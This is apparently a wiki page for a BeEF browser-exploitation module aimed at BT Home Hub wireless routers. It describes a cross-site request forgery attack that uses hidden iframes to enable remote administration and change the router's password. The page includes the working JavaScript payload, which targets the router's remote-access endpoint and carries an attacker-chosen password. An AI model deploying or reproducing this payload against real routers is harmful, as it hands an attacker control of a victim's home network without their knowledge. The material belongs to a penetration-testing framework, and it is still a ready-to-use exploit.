Skip to content

Module: BT Home Hub CSRF

Haoxi Tan edited this page Jan 9, 2020 · 2 revisions

Summary

  • Objective: enable remote administration and change the password on a BT Home Hub wireless router.

  • Authors: bcoles

  • Browsers: All

  • Code

Internal Working

Creates iframes with POST requests to enable remote administration and change the password on a BT Home Hub wireless router.

var bt_home_hub_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(gateway + "/cgi/b/ras//?ce=1&be=1&l0=5&l1=5", "POST", "application/x-www-form-urlencoded", [
    {'type':'hidden', 'name':'0',  'value':'31'} ,
    {'type':'hidden', 'name':'1',  'value':''},
    {'type':'hidden', 'name':'30', 'value':passwd}
]);

Feedback

Clone this wiki locally